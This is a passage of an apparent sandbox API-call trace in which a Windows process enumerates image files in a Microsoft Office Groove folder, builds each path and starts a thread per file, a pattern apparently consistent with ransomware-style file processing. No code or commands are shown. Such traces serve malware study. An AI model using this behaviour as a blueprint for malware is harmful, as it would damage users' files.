Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData" [0219.556] wcscat (in: _Dest=0x43158080, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\" [0219.556] wcscat (in: _Dest=0x43158080, _Source="AlertImage_Auto.jpg" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_Auto.jpg") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_Auto.jpg" [0219.556] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x43158080, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x980 [0219.566] FindNextFileW (in: hFindFile=0x1b858f10, lpFindFileData=0x1ce201b0 | out: lpFindFileData=0x1ce201b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3390df00, ftCreationTime.dwHighDateTime=0x1c95fc8, ftLastAccessTime.dwLowDateTime=0x5eb686b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3390df00, ftLastWriteTime.dwHighDateTime=0x1c95fc8, nFileSizeHigh=0x0, nFileSizeLow=0x1c6e, dwReserved0=0x0, dwReserved1=0x0, cFileName="AlertImage_AutoMask.bmp", cAlternateFileName="AL1E3B~1.BMP")) returned 1 [0219.566] wcscmp (_String1="AlertImage_AutoMask.bmp", _String2=".") returned 1 [0219.566] wcscmp (_String1="AlertImage_AutoMask.bmp", _String2="..") returned 1 [0219.566] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xd2) returned 0x43158160 [0219.566] wcscpy (in: _Dest=0x43158160, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData" [0219.566] wcscat (in: _Dest=0x43158160, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\" [0219.566] wcscat (in: _Dest=0x43158160, _Source="AlertImage_AutoMask.bmp" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_AutoMask.bmp") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_AutoMask.bmp" [0219.566] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x43158160, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1f68 [0219.569] FindNextFileW (in: hFindFile=0x1b858f10, lpFindFileData=0x1ce201b0 | out: lpFindFileData=0x1ce201b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7db0b300, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51317770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7db0b300, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x3356, dwReserved0=0x0, dwReserved1=0x0, cFileName="AlertImage_ContactHigh.jpg", cAlternateFileName="ALERTI~1.JPG")) returned 1 [0219.569] wcscmp (_String1="AlertImage_ContactHigh.jpg", _String2=".") returned 1 [0219.569] wcscmp (_String1="AlertImage_ContactHigh.jpg", _String2="..") returned 1 [0219.569] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xd8) returned 0x43158240 [0219.569] wcscpy (in: _Dest=0x43158240, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData" [0219.569] wcscat (in: _Dest=0x43158240, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\" [0219.569] wcscat (in: _Dest=0x43158240, _Source="AlertImage_ContactHigh.jpg" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_ContactHigh.jpg") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_ContactHigh.jpg" [0219.569] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x43158240, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x254c [0219.571] FindNextFileW (in: hFindFile=0x1b858f10, lpFindFileData=0x1ce201b0 | out: lpFindFileData=0x1ce201b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7db0b300, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51317770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7db0b300, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x1c70, dwReserved0=0x0, dwReserved1=0x0, cFileName="AlertImage_ContactHighMask.bmp", cAlternateFileName="ALERTI~1.BMP")) returned 1 [0219.571] wcscmp (_String1="AlertImage_ContactHighMask.bmp", _String2=".") returned 1 [0219.571] wcscmp (_String1="AlertImage_ContactHighMask.bmp", _String2="..") returned 1 [0219.571] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xe0) returned 0x1b7997f0 [0219.571] wcscpy (in: _Dest=0x1b7997f0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData" [0219.571] wcscat (in: _Dest=0x1b7997f0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\" [0219.571] wcscat (in: _Dest=0x1b7997f0, _Source="AlertImage_ContactHighMask.bmp" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_ContactHighMask.bmp") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_ContactHighMask.bmp" [0219.571] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b7997f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7d0 [0219.572] FindNextFileW (in: hFindFile=0x1b858f10, lpFindFileData=0x1ce201b0 | out: lpFindFileData=0x1ce201b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7db0b300, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5eb686b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7db0b300, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x2f79, dwReserved0=0x0, dwReserved1=0x0, cFileName="AlertImage_ContactLow.jpg", cAlternateFileName="ALERTI~4.JPG")) returned 1 [0219.572] wcscmp (_String1="AlertImage_ContactLow.jpg", _String2=".") returned 1 [0219.572] wcscmp (_String1="AlertImage_ContactLow.jpg", _String2="..") returned 1 [0219.572] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xd6) returned 0x43158320 [0219.572] wcscpy (in: _Dest=0x43158320, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData" [0219.572] wcscat (in: _Dest=0x43158320, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\" [0219.572] wcscat (in: _Dest=0x43158320, _Source="AlertImage_ContactLow.jpg" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_ContactLow.jpg") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_ContactLow.jpg" [0219.572] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x43158320, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4c4 [0219.573] FindNextFileW (in: hFindFile=0x1b858f10, lpFindFileData=0x1ce201b0 | out: lpFindFileData=0x1ce201b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7db0b300, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5eb686b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7db0b300, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x1c70, dwReserved0=0x0, dwReserved1=0x0, cFileName="AlertImage_ContactLowMask.bmp", cAlternateFileName="AL1F1D~1.BMP")) returned 1 [0219.573] wcscmp (_String1="AlertImage_ContactLowMask.bmp", _String2=".") returned 1 [0219.574] wcscmp (_String1="AlertImage_ContactLowMask.bmp", _String2="..") returned 1 [0219.574] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xde) returned 0x1ceb5a80 [0219.574] wcscpy (in: _Dest=0x1ceb5a80, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData" [0219.574] wcscat (in: _Dest=0x1ceb5a80, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\" [0219.574] wcscat (in: _Dest=0x1ceb5a80, _Source="AlertImage_ContactLowMask.bmp" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_ContactLowMask.bmp") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_ContactLowMask.bmp" [0219.574] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1ceb5a80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1784 [0219.575] FindNextFileW (in: hFindFile=0x1b858f10, lpFindFileData=0x1ce201b0 | out: lpFindFileData=0x1ce201b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc125fc00, ftCreationTime.dwHighDateTime=0x1c95fd3, ftLastAccessTime.dwLowDateTime=0x51317770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc125fc00, ftLastWriteTime.dwHighDateTime=0x1c95fd3, nFileSizeHigh=0x0, nFileSizeLow=0x480d, dwReserved0=0x0, dwReserved1=0x0, cFileName="AlertImage_FileHigh.jpg", cAlternateFileName="ALERTI~2.JPG")) returned 1 [0219.575] wcscmp (_String1="AlertImage_FileHigh.jpg", _String2=".") returned 1 [0219.575] wcscmp (_String1="AlertImage_FileHigh.jpg", _String2="..") returned 1 [0219.575] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xd2) returned 0x43158400 [0219.575] wcscpy (in: _Dest=0x43158400, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData" [0219.575] wcscat (in: _Dest=0x43158400, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\" [0219.575] wcscat (in: _Dest=0x43158400, _Source="AlertImage_FileHigh.jpg" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_FileHigh.jpg") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_FileHigh.jpg" [0219.576] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x43158400, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1080 [0219.576] FindNextFileW (in: hFindFile=0x1b858f10, lpFindFileData=0x1ce201b0 | out: lpFindFileData=0x1ce201b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b558100, ftCreationTime.dwHighDateTime=0x1c95fd2, ftLastAccessTime.dwLowDateTime=0x51317770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b558100, ftLastWriteTime.dwHighDateTime=0x1c95fd2, nFileSizeHigh=0x0, nFileSizeLow=0x1c6e, dwReserved0=0x0, dwReserved1=0x0, cFileName="AlertImage_FileHighMask.bmp", cAlternateFileName="ALERTI~2.BMP")) returned 1 [0219.576] wcscmp (_String1="AlertImage_FileHighMask.bmp", _String2=".") returned 1 [0219.576] wcscmp (_String1="AlertImage_FileHighMask.bmp", _String2="..") returned 1 [0219.576] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xda) returned 0x1ceb5b70 [0219.577] wcscpy (in: _Dest=0x1ceb5b70, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData" [0219.577] wcscat (in: _Dest=0x1ceb5b70, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\" [0219.577] wcscat (in: _Dest=0x1ceb5b70, _Source="AlertImage_FileHighMask.bmp" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_FileHighMask.bmp") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_FileHighMask.bmp" [0219.577] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1ceb5b70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6c0 [0219.578] FindNextFileW (in: hFindFile=0x1b858f10, lpFindFileData=0x1ce201b0 | out: lpFindFileData=0x1ce201b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5eab000, ftCreationTime.dwHighDateTime=0x1c95fd3, ftLastAccessTime.dwLowDateTime=0x5eb686b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc5eab000, ftLastWriteTime.dwHighDateTime=0x1c95fd3, nFileSizeHigh=0x0, nFileSizeLow=0x46de, dwReserved0=0x0, dwReserved1=0x0, cFileName="AlertImage_FileOff.jpg", cAlternateFileName="AL97F4~1.JPG")) returned 1 [0219.578] wcscmp (_String1="AlertImage_FileOff.jpg", _String2=".") returned 1 [0219.578] wcscmp (_String1="AlertImage_FileOff.jpg", _String2="..") returned 1 [0219.578] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xd0) returned 0x431584e0 [0219.578] wcscpy (in: _Dest=0x431584e0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData" [0219.578] wcscat (in: _Dest=0x431584e0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\" [0219.578] wcscat (in: _Dest=0x431584e0, _Source="AlertImage_FileOff.jpg" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_FileOff.jpg") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_FileOff.jpg" [0219.578] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x431584e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x17a8 [0219.579] FindNextFileW (in: hFindFile=0x1b858f10, lpFindFileData=0x1ce201b0 | out: lpFindFileData=0x1ce201b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x427c8f00, ftCreationTime.dwHighDateTime=0x1c95fd2, ftLastAccessTime.dwLowDateTime=0x5eb686b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x427c8f00, ftLastWriteTime.dwHighDateTime=0x1c95fd2, nFileSizeHigh=0x0, nFileSizeLow=0x1c6e, dwReserved0=0x0, dwReserved1=0x0, cFileName="AlertImage_FileOffMask.bmp", cAlternateFileName="ALFE83~1.BMP")) returned 1 [0219.579] wcscmp (_String1="AlertImage_FileOffMask.bmp", _String2=".") returned 1 [0219.579] wcscmp (_String1="AlertImage_FileOffMask.bmp", _String2="..") returned 1 [0219.579] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xd8) returned 0x431585c0 [0219.579] wcscpy (in: _Dest=0x431585c0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData" [0219.579] wcscat (in: _Dest=0x431585c0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\" [0219.579] wcscat (in: _Dest=0x431585c0, _Source="AlertImage_FileOffMask.bmp" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_FileOffMask.bmp") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_FileOffMask.bmp" [0219.579] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x431585c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2fb4 [0219.580] FindNextFileW (in: hFindFile=0x1b858f10, lpFindFileData=0x1ce201b0 | out: lpFindFileData=0x1ce201b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa2b7f600, ftCreationTime.dwHighDateTime=0x1c95f2a, ftLastAccessTime.dwLowDateTime=0x5eb686b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa2b7f600, ftLastWriteTime.dwHighDateTime=0x1c95f2a, nFileSizeHigh=0x0, nFileSizeLow=0x13ca, dwReserved0=0x0, dwReserved1=0x0, cFileName="AlertImage_High.jpg", cAlternateFileName="AL5980~1.JPG")) returned 1 [0219.580] wcscmp (_String1="AlertImage_High.jpg", _String2=".") returned 1 [0219.580] wcscmp (_String1="AlertImage_High.jpg", _String2="..") returned 1 [0219.580] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xca) returned 0x1b776770 [0219.580] wcscpy (in: _Dest=0x1b776770, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData" [0219.580] wcscat (in: _Dest=0x1b776770, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\" [0219.580] wcscat (in: _Dest=0x1b776770, _Source="AlertImage_High.jpg" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_High.jpg") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_High.jpg" [0219.580] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b776770, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x940 [0219.581] FindNextFileW (in: hFindFile=0x1b858f10, lpFindFileData=0x1ce201b0 | out: lpFindFileData=0x1ce201b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3177400, ftCreationTime.dwHighDateTime=0x1c95f2a, ftLastAccessTime.dwLowDateTime=0x51317770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe3177400, ftLastWriteTime.dwHighDateTime=0x1c95f2a, nFileSizeHigh=0x0, nFileSizeLow=0x1c6e, dwReserved0=0x0, dwReserved1=0x0, cFileName="AlertImage_HighMask.bmp", cAlternateFileName="ALERTI~3.BMP")) returned 1 [0219.581] wcscmp (_String1="AlertImage_HighMask.bmp", _String2=".") returned 1 [0219.581] wcscmp (_String1="AlertImage_HighMask.bmp", _String2="..") returned 1 [0219.581] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xd2) returned 0x1b776850 [0219.581] wcscpy (in: _Dest=0x1b776850, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData" [0219.581] wcscat (in: _Dest=0x1b776850, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\" [0219.581] wcscat (in: _Dest=0x1b776850, _Source="AlertImage_HighMask.bmp" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_HighMask.bmp") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_HighMask.bmp" [0219.582] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b776850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1314 [0219.582] FindNextFileW (in: hFindFile=0x1b858f10, lpFindFileData=0x1ce201b0 | out: lpFindFileData=0x1ce201b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefeaa500, ftCreationTime.dwHighDateTime=0x1c95fc8, ftLastAccessTime.dwLowDateTime=0x5eb686b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xefeaa500, ftLastWriteTime.dwHighDateTime=0x1c95fc8, nFileSizeHigh=0x0, nFileSizeLow=0x41de, dwReserved0=0x0, dwReserved1=0x0, cFileName="AlertImage_Medium.jpg", cAlternateFileName="ALF33C~1.JPG")) returned 1 [0219.582] wcscmp (_String1="AlertImage_Medium.jpg", _String2=".") returned 1 [0219.582] wcscmp (_String1="AlertImage_Medium.jpg", _String2="..") returned 1 [0219.583] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xce) returned 0x43114720 [0219.583] wcscpy (in: _Dest=0x43114720, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData" [0219.583] wcscat (in: _Dest=0x43114720, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\" [0219.583] wcscat (in: _Dest=0x43114720, _Source="AlertImage_Medium.jpg" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_Medium.jpg") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_Medium.jpg" [0219.583] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x43114720, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x158c [0219.586] FindNextFileW (in: hFindFile=0x1b858f10, lpFindFileData=0x1ce201b0 | out: lpFindFileData=0x1ce201b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd34e6d00, ftCreationTime.dwHighDateTime=0x1c95fc8, ftLastAccessTime.dwLowDateTime=0x51317770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd34e6d00, ftLastWriteTime.dwHighDateTime=0x1c95fc8, nFileSizeHigh=0x0, nFileSizeLow=0x1c6e, dwReserved0=0x0, dwReserved1=0x0, cFileName="AlertImage_MediumMAsk.bmp", cAlternateFileName="ALERTI~4.BMP")) returned 1 [0219.586] wcscmp (_String1="AlertImage_MediumMAsk.bmp", _String2=".") returned 1 [0219.586] wcscmp (_String1="AlertImage_MediumMAsk.bmp", _String2="..") returned 1 [0219.586] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xd6) returned 0x43114800 [0219.586] wcscpy (in: _Dest=0x43114800, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData" [0219.586] wcscat (in: _Dest=0x43114800, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\" [0219.586] wcscat (in: _Dest=0x43114800, _Source="AlertImage_MediumMAsk.bmp" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_MediumMAsk.bmp") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_MediumMAsk.bmp" [0219.586] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x43114800, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x25a4 [0219.588] FindNextFileW (in: hFindFile=0x1b858f10, lpFindFileData=0x1ce201b0 | out: lpFindFileData=0x1ce201b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e983f00, ftCreationTime.dwHighDateTime=0x1c95fc9, ftLastAccessTime.dwLowDateTime=0x5eb686b0, 